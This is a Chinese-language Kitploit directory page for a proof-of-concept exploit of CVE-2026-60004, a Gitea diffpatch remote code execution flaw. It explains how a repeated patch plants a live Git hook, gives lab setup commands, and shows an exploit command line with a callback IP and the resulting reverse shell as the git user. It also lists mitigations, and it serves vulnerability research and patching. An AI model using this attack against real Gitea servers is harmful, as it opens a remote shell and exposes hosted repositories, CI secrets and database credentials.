Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-60004
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

查看仓库
1521天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


概述

CVE-2026-60004 是 Gitea 中的一个远程代码执行(RCE)漏洞。 diffpatch API 使用 git apply --cached 应用提供的补丁,该操作本应只修改索引,绝不会将文件写入磁盘。 通过两次发送相同的补丁,攻击者强制触发添加/添加冲突,从而引发 Git 的三方合并回退(-3)。该路径会忽略 --cached 并将文件检出到工作树。 由于临时克隆是裸仓库,其工作树根目录为 $GIT_DIR。因此,一个创建可执行 hooks/post-index-change 的补丁会落地一个实时 Git 钩子,Git 会在下一次索引更新时自动运行该钩子——以 Gitea 服务账户身份执行命令。 该端点需要仓库写入权限,但注册功能默认开启,因此任何能够注册并创建仓库的用户都可以触达该端点。


受影响版本

类别版本
受影响Gitea 1.17 ≤ 版本 ≤ 1.27.0
已修复Gitea 1.27.1 或更高版本

影响

  • 以 Gitea 服务账户(git)身份执行远程代码
  • 可访问所有托管的仓库、CI 密钥和数据库凭据

环境

构建并运行存在漏洞的 Gitea 环境。注册保持开放,服务器自带 Git 2.32+,该版本启用了攻击所依赖的 -3 回退机制。

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
前置条件本实验环境中的状态
Gitea 1.17 – 1.27.01.27.0
服务器上的 Git 2.32+(启用 -3)2.54
开放注册已启用(默认)
仓库写入权限通过自行注册的账户获得

PoC

该漏洞利用由 gitea_exploit.py 全自动完成。只需一个能够创建仓库的账户,它便会创建目标仓库、反复提交相同的补丁,直到 Git 的 -3 回退触发,并通过内置监听器捕获反弹 Shell——无需手动设置、补丁构造或 blob 哈希计算。

root@kitploit:~
# python3 gitea_exploit.py <目标 ip:端口> <回调 ip> [回调端口]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 回退仅在特定的时间窗口内触发,因此脚本会循环执行 创建 → 发送 → 发送,直到捕获成功(默认 25 次尝试)。当某次发送被阻塞时,说明钩子已触发,监听器会将你带入一个以 git 身份运行的 Shell:

root@kitploit:~
[*] 尝试  3/25 -> 发送#1 201, 发送#2 超时   <- 已阻塞(已触发!)
[+] 来自 172.17.0.2:53344 的 Shell -- 输入命令,按 Ctrl-C 退出
uid=1000(git) gid=1000(git) groups=1000(git)

选项:

  • --no-listen — 使用你自己的外部 nc 捕获 Shell,而非内置监听器
  • --user / --pw / --repo / --branch — 覆盖默认账户和目标仓库

缓解措施

  • 将 Gitea 升级至 1.27.1 或更高版本
  • 如非必要,禁用开放注册(DISABLE_REGISTRATION=true)
  • 限制能够访问实例并创建仓库的用户范围

分析

  • KR:即将推出!
  • EN:
下载工具